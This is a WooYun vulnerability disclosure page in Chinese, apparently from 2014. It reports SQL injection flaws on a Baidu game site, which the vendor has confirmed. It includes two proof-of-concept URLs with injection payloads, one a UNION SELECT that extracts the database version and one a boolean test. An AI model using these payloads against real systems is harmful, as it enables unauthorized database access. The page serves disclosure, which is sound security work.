当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-086504

漏洞标题：百度某系统多处SQL注射

相关厂商：百度

漏洞作者： Jannock

提交时间：2014-12-09 14:04

修复时间：2015-01-23 14:06

公开时间：2015-01-23 14:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-09： 细节已通知厂商并且等待厂商处理中
2014-12-10： 厂商已经确认，细节仅向厂商公开
2014-12-20： 细节向核心白帽子及相关领域专家公开
2014-12-30： 细节向普通白帽子公开
2015-01-09： 细节向实习白帽子公开
2015-01-23： 细节向公众公开

简要描述：

某持续监控神器发现百度某站点新功能，某功能存在多处SQL注射漏洞

详细说明：

注入1：
http://opengame.baidu.com/index.php?r=InternalMessageAction&m=view&id=xxx%20and%201=2%20union%20select%201,2,@@version,4,5%20from%20information_schema.tables%23&type=2
注入2：
http://opengame.baidu.com/index.php?r=InternalMessageAction&m=delete-one&type=2&ids=xxx and 1=1

漏洞证明：

1.jpg


2.jpg

修复方案：

过滤

版权声明：转载请注明来源 Jannock@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2014-12-10 13:50

厂商回复：

感谢提交，已通知业务部门处理

最新状态：

暂无

漏洞评价：

评论

  1. 2014-12-09 14:04 | diguoji ( 普通白帽子 | Rank:323 漏洞数:79 | 中国吉林长春)

    一楼

  2. 2014-12-09 14:06 | 白非白 ( 普通白帽子 | Rank:447 漏洞数:60 | ♫ Freedom - Anthony Hamilton ♫)

    关注一哥，关注神器。。。

  3. 2014-12-09 14:12 | 宝-宝 ( 路人 | Rank:20 漏洞数:8 | 爱Web，也爱内核。 爱渗透，不爱暴力。爱0d...)

    关注一哥，关注神器。。。

  4. 2014-12-09 14:14 | leo335 ( 路人 | Rank:1 漏洞数:1 )

    关注一哥，关注神器。。。

  5. 2014-12-09 14:20 | 孤独雪狼 ( 普通白帽子 | Rank:710 漏洞数:145 | 七夕手机被偷，这坑爹的七夕啊 。。。。)

    关注一哥，关注神器。。。

  6. 2014-12-09 14:38 | 天地不仁 以万物为刍狗 ( 普通白帽子 | Rank:977 漏洞数:264 | 天地本不仁 万物为刍狗)

    关注一哥，关注神器。。。

  7. 2014-12-09 14:44 | FenQing ( 路人 | Rank:8 漏洞数:3 | FenQing)

    关注一哥，关注神器。。。

  8. 2014-12-09 15:32 | 小威 ( 普通白帽子 | Rank:492 漏洞数:76 | 活到老，学到老!)

    关注一哥，关注神器。。。

  9. 2014-12-09 16:07 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    关注一哥，关注神器。。。

  10. 2014-12-09 16:13 | ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习，求带飞~~~~~~~~~~~~~~~~~~~~~~...)

    关注一哥，关注神器。。。

  11. 2014-12-09 16:22 | c0nt ( 路人 | Rank:1 漏洞数:7 )

    关注一哥，关注神器。。。

  12. 2014-12-09 16:44 | Anders ( 路人 | Rank:2 漏洞数:2 | 测试工程师)

    关注一哥，关注神器。。。求开放....

  13. 2014-12-09 16:46 | 路人N ( 路人 | Rank:12 漏洞数:8 )

    m

  14. 2014-12-09 17:28 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    关注一哥，关注神器。。。

  15. 2014-12-09 17:41 | answer ( 普通白帽子 | Rank:347 漏洞数:45 | 答案)

    关注一个，溜

  16. 2014-12-09 18:22 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    听说有神器，从未见现世……

  17. 2014-12-10 01:09 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    关注一哥，关注神器。。。

  18. 2014-12-10 09:21 | l0u1s ( 路人 | Rank:16 漏洞数:3 | 崇尚自由、开放、共享、简约。)

    关注一哥，关注神器。。。

  19. 2014-12-10 13:03 | 牧者游民 ( 路人 | Rank:8 漏洞数:2 | 砰砰恰 砰砰恰)

    关注一哥，关注神器。。。

  20. 2014-12-10 14:17 | 0dmxy ( 路人 | Rank:14 漏洞数:1 )

    关注一哥，关注神器。。。

  21. 2014-12-10 15:36 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)

    关注一哥，关注神器。。。

  22. 2014-12-17 16:51 | monster ( 实习白帽子 | Rank:70 漏洞数:10 )

    关注一哥，关注神器。。。

  23. 2015-01-23 14:59 | 傻蛋 ( 路人 | Rank:0 漏洞数:1 | 关注网络，关注安全！)

    关注一哥，关注神器。。。

  24. 2015-01-24 10:12 | wps2015 ( 普通白帽子 | Rank:426 漏洞数:60 | 不叫一日荒废)

    关注一哥，关注神器。。。